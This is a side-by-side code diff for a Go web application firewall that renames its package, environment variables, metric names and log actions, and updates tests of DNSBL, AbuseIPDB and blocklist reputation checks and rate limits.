map[string]string{asnBytesPercent: asnDE + ":100"}, asnDEQuarter, fromURL, none, map[string]string{asnBytesPercent: asnDE + ":100"}, asnDEQuarter, fromURL, none,
}, },
} { } {
@@ -238,10 +291,12 @@ func TestASNLimitPercentFileCountsAsTheSettingDoesTheLowerWinning(t *testing.T)
loadLists(t, server, map[string][]string{asnURL: {"# by AS number", tc.file}}) loadLists(t, server, map[string][]string{asnURL: {"# by AS number", tc.file}})
line := s.uploadFrom(fromDE) line := s.uploadFrom(fromDE)
wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting, wantPercent(t, "rate_limit_percent",
tc.limitPercent) line.RateLimitPercent, line.RateLimitPercentSetting,
wantPercent(t, "bytes_percent", line.BytesPercent, line.BytesPercentSetting, tc.rateLimitPercent)
tc.bytesPercent) wantPercent(t, "bytes_limit_percent",
line.BytesLimitPercent, line.BytesLimitPercentSetting,
tc.bytesLimitPercent)
}) })
} }
} }
@@ -299,22 +354,22 @@ func TestEachBlocklistThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted(
labels := `{instance="` + alertInstance + `",source="` + listURL + `"}` labels := `{instance="` + alertInstance + `",source="` + listURL + `"}`
if want.hits == 0 { if want.hits == 0 {
wantNoSeries(t, metrics, "smallwebwaf_reputation_hits_total"+labels) wantNoSeries(t, metrics, "sww_reputation_hits_total"+labels)
} else { } else {
wantMetric(t, metrics, "smallwebwaf_reputation_hits_total"+labels, want.hits) wantMetric(t, metrics, "sww_reputation_hits_total"+labels, want.hits)
} }
wantMetric(t, metrics, "smallwebwaf_reputation_failures_total"+labels, 0) wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0)
wantMetric(t, metrics, "smallwebwaf_reputation_last_fetch_timestamp_seconds"+labels, wantMetric(t, metrics, "sww_reputation_last_fetch_timestamp_seconds"+labels,
want.fetched) want.fetched)
} }
} }
// The DNSBL settings. // The DNSBL settings.
const ( const (
dnsblZones = "SWWAF_DNSBL_ZONES" dnsblZones = "SWW_DNSBL_ZONES"
dnsblResolver = "SWWAF_DNSBL_RESOLVER" dnsblResolver = "SWW_DNSBL_RESOLVER"
reputationAction = "SWWAF_REPUTATION_ACTION" reputationAction = "SWW_REPUTATION_ACTION"
) )
// The DNSBL zones these tests name, which are never asked about the // The DNSBL zones these tests name, which are never asked about the
@@ -330,12 +385,12 @@ const (
func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) { func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) {
t.Parallel() t.Parallel()
forward, denied := requestlog.ActionForward, requestlog.ActionDenied forward, denied := requestlog.ActionForward, requestlog.ActionClientDenied
for _, tc := range []struct { for _, tc := range []struct {
action string action string
// statuses and actions are those of a listed client's three // statuses and actions are those of a listed client's three
// requests, and percent their limit_percent, as percentText gives it. // requests, and percent their rate_limit_percent, as percentText gives it.
statuses []int statuses []int
actions []string actions []string
percent string percent string
@@ -347,7 +402,7 @@ func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) {
{ {
// Half of 4 requests a minute: the third breaks the limit. // Half of 4 requests a minute: the third breaks the limit.
limitHalf, []int{http.StatusOK, http.StatusOK, http.StatusForbidden}, limitHalf, []int{http.StatusOK, http.StatusOK, http.StatusForbidden},
[]string{forward, forward, requestlog.ActionRateLimited}, []string{forward, forward, requestlog.ActionClientIsRateLimited},
"50 from " + reputationAction, "50 from " + reputationAction,
}, },
{ {
@@ -370,10 +425,10 @@ func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) {
for _, from := range []string{fromDE, fromKP} { for _, from := range []string{fromDE, fromKP} {
for i := range 3 { for i := range 3 {
line := s.get(from, tc.statuses[i], tc.actions[i]) line := s.get(from, tc.statuses[i], tc.actions[i])
// In the order SWWAF_DNSBL_ZONES names them. // In the order SWW_DNSBL_ZONES names them.
wantReputation(t, line, listedBy[from]...) wantReputation(t, line, listedBy[from]...)
wantPercent(t, "limit_percent", line.LimitPercent, wantPercent(t, "rate_limit_percent", line.RateLimitPercent,
line.LimitPercentSetting, tc.percent) line.RateLimitPercentSetting, tc.percent)
// A request refused for the verdict is not counted. // A request refused for the verdict is not counted.
counted := line.fields["counts"] != nil counted := line.fields["counts"] != nil
@@ -388,7 +443,8 @@ func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) {
for range 3 { for range 3 {
line := s.get(unplaced, http.StatusOK, forward) line := s.get(unplaced, http.StatusOK, forward)
wantReputation(t, line) wantReputation(t, line)
wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting, wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting,
none) none)
} }
@@ -416,9 +472,9 @@ func TestDNSBLZonesComeAfterTheBlocklistsAndSkipAllowNets(t *testing.T) {
loadVerdicts(server, map[string][]string{fromKP: {dnsblZone}, fromDE: {dnsblZone}}) loadVerdicts(server, map[string][]string{fromKP: {dnsblZone}, fromDE: {dnsblZone}})
// The blocklist refuses fromKP before its verdict is looked at, and // The blocklist refuses fromKP before its verdict is looked at, and
// fromDE, in SWWAF_ALLOW_NETS, is not checked at all: neither is noted // fromDE, in SWW_ALLOW_NETS, is not checked at all: neither is noted
// for the zone, nor alerted, nor asked about. // for the zone, nor alerted, nor asked about.
wantReputation(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionDenied), wantReputation(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied),
dropURL) dropURL)
wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward)) wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward))
@@ -432,6 +488,46 @@ func TestDNSBLZonesComeAfterTheBlocklistsAndSkipAllowNets(t *testing.T) {
} }
} }
func TestReputationSourcesTagTheRequestWhateverTheirAction(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
env map[string]string
load func(*discriminator.Server)
want []string
}{
{
"dnsbl",
map[string]string{
dnsblZones: dnsblZone, dnsblResolver: noResolver, reputationAction: actionLog,
},
func(server *discriminator.Server) {
loadVerdicts(server, map[string][]string{fromDE: {dnsblZone}})
},
[]string{"asn=64496", "country=DE", "dnsbl=" + dnsblZone},
},
{
abuseipdb,
map[string]string{abuseIPDBKey: accountKey, reputationAction: actionLog},
func(server *discriminator.Server) {
loadScores(server, map[string]int64{fromDE: 80})
},
[]string{abuseipdb, "asn=64496", "country=DE"},
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s, server, _ := startWithLookups(t, tc.env)
tc.load(server)
wantTags(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
tc.want...)
})
}
}
func TestObserveModeForwardsAClientADNSBLZoneDeniesAndAlertsIt(t *testing.T) { func TestObserveModeForwardsAClientADNSBLZoneDeniesAndAlertsIt(t *testing.T) {
t.Parallel() t.Parallel()
@@ -442,7 +538,7 @@ func TestObserveModeForwardsAClientADNSBLZoneDeniesAndAlertsIt(t *testing.T) {
loadVerdicts(server, map[string][]string{fromDE: {dnsblZone}}) loadVerdicts(server, map[string][]string{fromDE: {dnsblZone}})
line := s.get(fromDE, http.StatusOK, requestlog.ActionForward) line := s.get(fromDE, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionDenied) wantWouldAction(t, line, requestlog.ActionClientDenied)
wantReputation(t, line, dnsblZone) wantReputation(t, line, dnsblZone)
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
@@ -456,7 +552,7 @@ func TestReputationLimitTakesPartInTheLowestPercentageOfEveryLimit(t *testing.T)
for _, tc := range []struct { for _, tc := range []struct {
blocklistAction, reputationAction string blocklistAction, reputationAction string
// want is the request's limit_percent and bytes_percent, as // want is the request's rate_limit_percent and bytes_limit_percent, as
// percentText gives them. // percentText gives them.
want string want string
}{ }{
@@ -481,9 +577,11 @@ func TestReputationLimitTakesPartInTheLowestPercentageOfEveryLimit(t *testing.T)
// Named by the blocklist, then by the zone. // Named by the blocklist, then by the zone.
line := s.get(fromDE, http.StatusOK, requestlog.ActionForward) line := s.get(fromDE, http.StatusOK, requestlog.ActionForward)
wantReputation(t, line, dropURL, dnsblZone) wantReputation(t, line, dropURL, dnsblZone)
wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting, wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting,
tc.want) tc.want)
wantPercent(t, "bytes_percent", line.BytesPercent, line.BytesPercentSetting, wantPercent(t, "bytes_limit_percent",
line.BytesLimitPercent, line.BytesLimitPercentSetting,
tc.want) tc.want)
}) })
} }
@@ -537,9 +635,9 @@ func TestEachZoneThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted(
for _, zone := range []string{dnsblZone, otherZone} { for _, zone := range []string{dnsblZone, otherZone} {
labels := `{instance="` + alertInstance + `",source="` + zone + `"}` labels := `{instance="` + alertInstance + `",source="` + zone + `"}`
wantMetric(t, metrics, "smallwebwaf_reputation_hits_total"+labels, 2) wantMetric(t, metrics, "sww_reputation_hits_total"+labels, 2)
wantMetric(t, metrics, "smallwebwaf_reputation_queries_total"+labels, 0) wantMetric(t, metrics, "sww_reputation_queries_total"+labels, 0)
wantMetric(t, metrics, "smallwebwaf_reputation_failures_total"+labels, 0) wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0)
} }
} }
@@ -567,7 +665,7 @@ func TestZoneKeyIsMaskedInTheLogTheAlertAndTheMetrics(t *testing.T) {
} }
metrics := s.scrape() metrics := s.scrape()
wantMetric(t, metrics, `smallwebwaf_reputation_hits_total{instance="`+ wantMetric(t, metrics, `sww_reputation_hits_total{instance="`+
alertInstance+`",source="`+masked+`"}`, 1) alertInstance+`",source="`+masked+`"}`, 1)
for name, shown := range map[string]string{ for name, shown := range map[string]string{
@@ -609,7 +707,7 @@ func TestRequestFromAClientWithoutAVerdictHasTheZoneAskedAboutIt(t *testing.T) {
// The AbuseIPDB settings, and accountKey, the key the tests set. // The AbuseIPDB settings, and accountKey, the key the tests set.
const ( const (
abuseIPDBKey = "SWWAF_ABUSEIPDB_KEY" abuseIPDBKey = "SWW_ABUSEIPDB_KEY"
accountKey = "abuseipdb-key-0123456789abcdef" accountKey = "abuseipdb-key-0123456789abcdef"
) )
@@ -617,7 +715,7 @@ const (
// AbuseIPDB. // AbuseIPDB.
const abuseipdb = reputation.AbuseIPDBSource const abuseipdb = reputation.AbuseIPDBSource
// abuseIPDBURL is where newServeWAF has clients checked with AbuseIPDB: at // abuseIPDBURL is where newDiscriminator has clients checked with AbuseIPDB: at
// abuseIPDBStandIn, which TestMain registers with Go's default transport, // abuseIPDBStandIn, which TestMain registers with Go's default transport,
// through which AbuseIPDB is asked. // through which AbuseIPDB is asked.
const abuseIPDBURL = "abuseipdb://stand-in/api/v2/check" const abuseIPDBURL = "abuseipdb://stand-in/api/v2/check"
@@ -651,8 +749,8 @@ func TestOnlyAClientThatHasCommittedAnOffenceIsCheckedWithAbuseIPDB(t *testing.T
s.get(fromDE, http.StatusOK, forward) s.get(fromDE, http.StatusOK, forward)
s.get(fromDE, http.StatusOK, forward) s.get(fromDE, http.StatusOK, forward)
s.get(fromKP, http.StatusOK, forward) s.get(fromKP, http.StatusOK, forward)
s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited) s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
s.get(fromDE, http.StatusForbidden, requestlog.ActionBanned) s.get(fromDE, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
wantAbuseIPDBChecks(t, server, 0) wantAbuseIPDBChecks(t, server, 0)
// Once the ban has ended, fromDE's first request has it checked in the // Once the ban has ended, fromDE's first request has it checked in the
@@ -691,7 +789,7 @@ func TestIPv6ClientCostsOneAbuseIPDBCheckWhicheverOfItsAddressesSends(t *testing
s.get(addresses[0], http.StatusOK, forward) s.get(addresses[0], http.StatusOK, forward)
} }
s.get(addresses[0], http.StatusForbidden, requestlog.ActionRateLimited) s.get(addresses[0], http.StatusForbidden, requestlog.ActionClientIsRateLimited)
clk.advance(time.Hour) clk.advance(time.Hour)
// Once the ban has ended, which set its counters back to zero, a // Once the ban has ended, which set its counters back to zero, a
@@ -724,20 +822,20 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(t *test
want ratelimit.Offences want ratelimit.Offences
}{ }{
{ {
"a block rule", blockedPath, http.StatusForbidden, requestlog.ActionRuleBlocked, "a block rule", blockedPath, http.StatusForbidden,
ratelimit.Offences{RuleBlocked: 1}, requestlog.ActionBlockedByBlockRule, ratelimit.Offences{BlockedByBlockRule: 1},
}, },
{ {
"the Core Rule Set", sqlInjection, http.StatusForbidden, "the Core Rule Set", sqlInjection, http.StatusForbidden,
requestlog.ActionWAFBlocked, ratelimit.Offences{WAFBlocked: 1}, requestlog.ActionBlockedByCoreRuleSet, ratelimit.Offences{BlockedByCoreRuleSet: 1},
}, },
{ {
"a ban rule", probePath, http.StatusForbidden, requestlog.ActionBanned, "a ban rule", probePath, http.StatusForbidden, requestlog.ActionTemporarilyBanned,
ratelimit.Offences{Attack: 1}, ratelimit.Offences{Attack: 1},
}, },
{ {
"a trap path", "/xmlrpc.php", http.StatusForbidden, requestlog.ActionBanned, "a trap path", "/xmlrpc.php", http.StatusForbidden,
ratelimit.Offences{Attack: 1}, requestlog.ActionTemporarilyBanned, ratelimit.Offences{Attack: 1},
}, },
} { } {
t.Run(tc.name, func(t *testing.T) { t.Run(tc.name, func(t *testing.T) {
@@ -768,12 +866,12 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(t *test
func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(t *testing.T) { func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(t *testing.T) {
t.Parallel() t.Parallel()
forward, denied := requestlog.ActionForward, requestlog.ActionDenied forward, denied := requestlog.ActionForward, requestlog.ActionClientDenied
for _, tc := range []struct { for _, tc := range []struct {
action string action string
// statuses and actions are those of fromDE's three requests, and // statuses and actions are those of fromDE's three requests, and
// percent their limit_percent, as percentText gives it. // percent their rate_limit_percent, as percentText gives it.
statuses []int statuses []int
actions []string actions []string
percent string percent string
@@ -785,7 +883,7 @@ func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(t *test
{ {
// Half of 4 requests a minute: the third breaks the limit. // Half of 4 requests a minute: the third breaks the limit.
limitHalf, []int{http.StatusOK, http.StatusOK, http.StatusForbidden}, limitHalf, []int{http.StatusOK, http.StatusOK, http.StatusForbidden},
[]string{forward, forward, requestlog.ActionRateLimited}, []string{forward, forward, requestlog.ActionClientIsRateLimited},
"50 from " + reputationAction, "50 from " + reputationAction,
}, },
{ {
@@ -800,13 +898,14 @@ func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(t *test
rateLimitPerMinute: fourAMinute, abuseIPDBKey: accountKey, rateLimitPerMinute: fourAMinute, abuseIPDBKey: accountKey,
reputationAction: tc.action, reputationAction: tc.action,
}) })
// At SWWAF_ABUSEIPDB_MIN_SCORE, 75 by default, and just under it. // At SWW_ABUSEIPDB_MIN_SCORE, 75 by default, and just under it.
loadScores(server, map[string]int64{fromDE: 75, fromKP: 74}) loadScores(server, map[string]int64{fromDE: 75, fromKP: 74})
for i := range 3 { for i := range 3 {
line := s.get(fromDE, tc.statuses[i], tc.actions[i]) line := s.get(fromDE, tc.statuses[i], tc.actions[i])
wantReputation(t, line, abuseipdb) wantReputation(t, line, abuseipdb)
wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting, wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting,
tc.percent) tc.percent)
// A request refused for the score is not counted. // A request refused for the score is not counted.
@@ -820,7 +919,8 @@ func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(t *test
for range 3 { for range 3 {
line := s.get(fromKP, http.StatusOK, forward) line := s.get(fromKP, http.StatusOK, forward)
wantReputation(t, line) wantReputation(t, line)
wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting, wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting,
none) none)
} }
@@ -851,7 +951,7 @@ func TestAbuseIPDBHitRaisesAnAlertWithTheScoreOncePerCooldownAndIsCounted(
// The alert is made as a DNSBL zone's is, with the score besides. // The alert is made as a DNSBL zone's is, with the score besides.
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 || waiting[0].Event != alerts.EventReputationHit || if len(waiting) != 1 || waiting[0].Event != alerts.EventReputationHit ||
waiting[0].Reason != "scored by AbuseIPDB at or over SWWAF_ABUSEIPDB_MIN_SCORE" || waiting[0].Reason != "scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE" ||
waiting[0].Detail["source"] != abuseipdb || waiting[0].Detail["score"] != int64(90) || waiting[0].Detail["source"] != abuseipdb || waiting[0].Detail["score"] != int64(90) ||
queue.Suppressed() != 1 { queue.Suppressed() != 1 {
t.Errorf("alerts waiting %+v, %d held back, want AbuseIPDB's reputation_hit "+ t.Errorf("alerts waiting %+v, %d held back, want AbuseIPDB's reputation_hit "+
@@ -863,10 +963,10 @@ func TestAbuseIPDBHitRaisesAnAlertWithTheScoreOncePerCooldownAndIsCounted(
metrics := s.scrape() metrics := s.scrape()
labels := `{instance="` + alertInstance + `",source="` + abuseipdb + `"}` labels := `{instance="` + alertInstance + `",source="` + abuseipdb + `"}`
wantMetric(t, metrics, "smallwebwaf_reputation_hits_total"+labels, 2) wantMetric(t, metrics, "sww_reputation_hits_total"+labels, 2)
wantMetric(t, metrics, "smallwebwaf_reputation_queries_total"+labels, 0) wantMetric(t, metrics, "sww_reputation_queries_total"+labels, 0)
wantMetric(t, metrics, "smallwebwaf_reputation_failures_total"+labels, 0) wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0)
wantMetric(t, metrics, "smallwebwaf_reputation_daily_budget_remaining"+labels, 900) wantMetric(t, metrics, "sww_reputation_daily_budget_remaining"+labels, 900)
} }
func TestWithoutAnAbuseIPDBKeyNoClientIsCheckedNorAScoreUsed(t *testing.T) { func TestWithoutAnAbuseIPDBKeyNoClientIsCheckedNorAScoreUsed(t *testing.T) {
@@ -882,12 +982,12 @@ func TestWithoutAnAbuseIPDBKeyNoClientIsCheckedNorAScoreUsed(t *testing.T) {
// fromDE's score is not used, and once it has committed an offence it // fromDE's score is not used, and once it has committed an offence it
// is not checked either. // is not checked either.
wantReputation(t, s.get(fromDE, http.StatusOK, forward)) wantReputation(t, s.get(fromDE, http.StatusOK, forward))
s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited) s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
clk.advance(time.Hour) clk.advance(time.Hour)
wantReputation(t, s.get(fromDE, http.StatusOK, forward)) wantReputation(t, s.get(fromDE, http.StatusOK, forward))
wantAbuseIPDBChecks(t, server, 0) wantAbuseIPDBChecks(t, server, 0)
wantNoSeries(t, s.scrape(), `smallwebwaf_reputation_daily_budget_remaining{`+ wantNoSeries(t, s.scrape(), `sww_reputation_daily_budget_remaining{`+
`instance="`+alertInstance+`",source="`+abuseipdb+`"}`) `instance="`+alertInstance+`",source="`+abuseipdb+`"}`)
} }
@@ -906,10 +1006,10 @@ func TestBanNotesNameEachReputationSourceThatListedTheClient(t *testing.T) {
}{ }{
{"for a broken rate limit", func(s *sender, from string) { {"for a broken rate limit", func(s *sender, from string) {
s.get(from, http.StatusOK, requestlog.ActionForward) s.get(from, http.StatusOK, requestlog.ActionForward)
s.get(from, http.StatusForbidden, requestlog.ActionRateLimited) s.get(from, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
}}, }},
{"for a clear sign of attack", func(s *sender, from string) { {"for a clear sign of attack", func(s *sender, from string) {
s.request(from, probePath, http.StatusForbidden, requestlog.ActionBanned) s.request(from, probePath, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
}}, }},
} { } {
t.Run(tc.name, func(t *testing.T) { t.Run(tc.name, func(t *testing.T) {
@@ -922,7 +1022,7 @@ func TestBanNotesNameEachReputationSourceThatListedTheClient(t *testing.T) {
abuseIPDBKey: accountKey, reputationAction: actionLog, abuseIPDBKey: accountKey, reputationAction: actionLog,
}) })
// Every source lists client, and none otherClient, whose score is // Every source lists client, and none otherClient, whose score is
// under SWWAF_ABUSEIPDB_MIN_SCORE, 75 by default. // under SWW_ABUSEIPDB_MIN_SCORE, 75 by default.
loadLists(t, server, map[string][]string{dropURL: {client}}) loadLists(t, server, map[string][]string{dropURL: {client}})
loadVerdicts(server, map[string][]string{client: {dnsblZone}, otherClient: nil}) loadVerdicts(server, map[string][]string{client: {dnsblZone}, otherClient: nil})
loadScores(server, map[string]int64{client: score, otherClient: 74}) loadScores(server, map[string]int64{client: score, otherClient: 74})
@@ -971,11 +1071,11 @@ func verdictsFetched() time.Time {
} }
// loadVerdicts puts into server's DNSBL, for each client listedBy names, // loadVerdicts puts into server's DNSBL, for each client listedBy names,
// a verdict of each zone SWWAF_DNSBL_ZONES names, fetched at // a verdict of each zone SWW_DNSBL_ZONES names, fetched at
// verdictsFetched, as reputation.json would at start: one that lists the // verdictsFetched, as reputation.json would at start: one that lists the
// client from each zone listedBy gives for it, and one that does not from // client from each zone listedBy gives for it, and one that does not from
// each other zone. // each other zone.
func loadVerdicts(server *servewaf.Server, listedBy map[string][]string) { func loadVerdicts(server *discriminator.Server, listedBy map[string][]string) {
verdicts := make([]reputation.Verdict, 0, len(listedBy)*len(server.DNSBL.Zones())) verdicts := make([]reputation.Verdict, 0, len(listedBy)*len(server.DNSBL.Zones()))
for client, zones := range listedBy { for client, zones := range listedBy {
@@ -993,7 +1093,7 @@ func loadVerdicts(server *servewaf.Server, listedBy map[string][]string) {
// loadScores puts into server's AbuseIPDB the score scores gives each // loadScores puts into server's AbuseIPDB the score scores gives each
// client, an IPv4 address, fetched at verdictsFetched, as reputation.json // client, an IPv4 address, fetched at verdictsFetched, as reputation.json
// would at start. // would at start.
func loadScores(server *servewaf.Server, scores map[string]int64) { func loadScores(server *discriminator.Server, scores map[string]int64) {
kept := make([]reputation.Score, 0, len(scores)) kept := make([]reputation.Score, 0, len(scores))
for client, score := range scores { for client, score := range scores {
kept = append(kept, reputation.Score{ kept = append(kept, reputation.Score{
@@ -1007,7 +1107,7 @@ func loadScores(server *servewaf.Server, scores map[string]int64) {
// wantAbuseIPDBChecks checks how many clients server has checked with // wantAbuseIPDBChecks checks how many clients server has checked with
// AbuseIPDB. // AbuseIPDB.
func wantAbuseIPDBChecks(t *testing.T, server *servewaf.Server, want int) { func wantAbuseIPDBChecks(t *testing.T, server *discriminator.Server, want int) {
t.Helper() t.Helper()
if got := server.AbuseIPDB.Checked(); got != want { if got := server.AbuseIPDB.Checked(); got != want {
@@ -1017,7 +1117,7 @@ func wantAbuseIPDBChecks(t *testing.T, server *servewaf.Server, want int) {
// loadLists puts copies of lists into server's lists, by URL, each with // loadLists puts copies of lists into server's lists, by URL, each with
// its lines, fetched at listsFetched, as reputation.json would at start. // its lines, fetched at listsFetched, as reputation.json would at start.
func loadLists(t *testing.T, server *servewaf.Server, copies map[string][]string) { func loadLists(t *testing.T, server *discriminator.Server, copies map[string][]string) {
t.Helper() t.Helper()
lists := make([]reputation.List, 0, len(copies)) lists := make([]reputation.List, 0, len(copies))
@@ -1,4 +1,4 @@
package servewaf package discriminator
import ( import (
"context" "context"
@@ -17,7 +17,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/rules" "sneak.berlin/go/smallwebwaf/internal/rules"
) )
// refusal is servewaf refusing a request: the status the visitor is to get, 0 // refusal is discriminator refusing a request: the status the visitor is to get, 0
// to close its connection without an answer, and the action the log line names. // to close its connection without an answer, and the action the log line names.
type refusal struct { type refusal struct {
status int status int
@@ -25,7 +25,7 @@ type refusal struct {
} }
// decision is what the checks note of a request: its log line, and what // decision is what the checks note of a request: its log line, and what
// counting the request needs once it has ended. servewaf keeps a copy of it // counting the request needs once it has ended. discriminator keeps a copy of it
// until the request's report comes. It holds no credentials, since the log line // until the request's report comes. It holds no credentials, since the log line
// never does, and neither the request's objects nor their bodies. // never does, and neither the request's objects nor their bodies.
type decision struct { type decision struct {
@@ -34,7 +34,7 @@ type decision struct {
// requestURI is the path with the query, as a ban's notes keep it. // requestURI is the path with the query, as a ban's notes keep it.
requestURI string requestURI string
// site is, for a question, the host the visitor asked for, which the // site is, for a question, the host the visitor asked for, which the
// alerts name, since one servewaf serves many sites. // alerts name, since one discriminator serves many sites.
site string site string
// allowed is true for a question answered with DispositionAllow. // allowed is true for a question answered with DispositionAllow.
allowed bool allowed bool
@@ -44,26 +44,26 @@ type decision struct {
lookedUp bool lookedUp bool
lookupAnswer lookup.Answer lookupAnswer lookup.Answer
// skippedLookupWait is true for a request that did not wait for GeoJS and // skippedLookupWait is true for a request that did not wait for GeoJS and
// found no answer kept. SWWAF_UNKNOWN_LIMIT_PERCENT does not apply to it, // found no answer kept. SWW_UNKNOWN_LIMIT_PERCENT does not apply to it,
// so that not waiting never lowers its client's limits. // so that not waiting never lowers its client's limits.
skippedLookupWait bool skippedLookupWait bool
// counted is true for a request the rate limits counted, whose bytes // counted is true for a request the rate limits counted, whose bytes
// the byte limits count once it has ended. limitPercent and // the byte limits count once it has ended. rateLimitPercent and
// bytesPercent are then its client's limit percentages for the rate // bytesLimitPercent are then its client's limit percentages for the rate
// limits and for the byte limits. // limits and for the byte limits.
counted bool counted bool
limitPercent, bytesPercent percentage rateLimitPercent, bytesLimitPercent percentage
// attack is true for a request that matched a ban rule or asked for a // attack is true for a request that matched a ban rule or asked for a
// trap path, ruleBlocked for one a block rule refused, and wafBlocked for // trap path, blockedByBlockRule for one a block rule refused, and
// one the Core Rule Set refused, each an offence its client's history // blockedByCoreRuleSet for one the Core Rule Set refused, each an offence
// counts. // its client's history counts.
attack, ruleBlocked, wafBlocked bool attack, blockedByBlockRule, blockedByCoreRuleSet bool
// reputation is the reputation sources that list the client, for the // reputation is the reputation sources that list the client, for the
// notes of a ban the request makes. // notes of a ban the request makes.
reputation []bans.ReputationHit reputation []bans.ReputationHit
} }
// request is one request to servewaf, from the moment its headers have been // request is one request to discriminator, from the moment its headers have been
// read to its log line. // read to its log line.
type request struct { type request struct {
decision decision
@@ -138,6 +138,15 @@ func (h *handler) startRequest(
return rq return rq
} }
// addTag adds tag to the request's tags, which stay sorted and hold each tag
// once.
func (rq *request) addTag(tag string) {
at, found := slices.BinarySearch(rq.line.Tags, tag)
if !found {
rq.line.Tags = slices.Insert(rq.line.Tags, at, tag)
}
}
// requestHeaders returns the headers of r that names lists, by name in // requestHeaders returns the headers of r that names lists, by name in
// lower case, each with its values joined by ", ". Authorization, Cookie // lower case, each with its values joined by ", ". Authorization, Cookie
// and Set-Cookie are never among them, whatever names says. // and Set-Cookie are never among them, whatever names says.
@@ -160,58 +169,49 @@ func requestHeaders(r *http.Request, names []string) map[string]string {
} }
// check is the one place where a request can be refused. It returns nil to let // check is the one place where a request can be refused. It returns nil to let
// the request through. The checks of checkClient decide: a request they refuse // the request through. The heuristics of checkClient decide: a request they
// is answered with SWWAF_BAN_RESPONSE, 403 for a block rule or the Core Rule Set, // refuse is answered with SWW_BAN_RESPONSE, 403 for a block rule or the Core
// or 431 for the header limits. In observe mode nothing is refused, and the log // Rule Set, or 431 for the header limits. In observe mode nothing is refused,
// line names what enforce mode would have done. ctx is the request's own context. // and the log line names what enforce mode would have done. ctx is the
// request's own context.
func (rq *request) check(ctx context.Context) *refusal { func (rq *request) check(ctx context.Context) *refusal {
action := rq.checkClient(ctx) v := rq.checkClient(ctx)
if v == nil {
return nil
}
action := v.action
switch { switch {
case action == "":
return nil
case rq.h.config.Observe: case rq.h.config.Observe:
rq.line.WouldAction = action rq.line.WouldAction = action
return nil return nil
case action == requestlog.ActionRuleBlocked || action == requestlog.ActionWAFBlocked: case action == requestlog.ActionBlockedByBlockRule ||
action == requestlog.ActionBlockedByCoreRuleSet:
return &refusal{status: http.StatusForbidden, action: action} return &refusal{status: http.StatusForbidden, action: action}
case action == requestlog.ActionTooLarge: case action == requestlog.ActionRequestHeaderTooLarge:
return &refusal{status: http.StatusRequestHeaderFieldsTooLarge, action: action} return &refusal{status: http.StatusRequestHeaderFieldsTooLarge, action: action}
default: default:
return rq.banResponse(action) return rq.banResponse(action)
} }
} }
// checkClient runs the checks on the request's client, and returns the // checkClient runs the heuristics of beforeLookup on the request, then looks
// action of the first that refuses the request, or "" when none does. A // up the client's AS number and country, then runs those of afterLookup. It
// client in SWWAF_ALLOW_NETS skips them, and is not looked up. For any // returns the first verdict, or nil when none gives one. A client in
// other client, SWWAF_DENY_NETS comes first, then a ban on its netblock, // SWW_ALLOW_NETS skips them all, and is not looked up. ctx is the request's
// so that a client either refuses is not looked up, then the lookup of // own context.
// its AS number and country, then the country lists, then the blocklists, func (rq *request) checkClient(ctx context.Context) *verdict {
// then the CrowdSec decision list, which bans the client it lists, then if isInside(rq.client, rq.h.config.AllowNets) {
// the DNSBL zones' verdicts, and then AbuseIPDB's score; a request any of return nil
// them refuses is not counted for the rate limits. Then come the
// rate limits, unless the client is in SWWAF_RATE_LIMIT_EXEMPT_NETS or the
// request's path is exempt under SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that
// every other request is counted, each of them by the client's limit
// percentages, then SWWAF_TRAP_PATHS, then the rule files, then the header
// limits, and last the Core Rule Set. A request exempt from the rate limits
// is exempt from the byte limits too. ctx is the request's own context.
func (rq *request) checkClient(ctx context.Context) string {
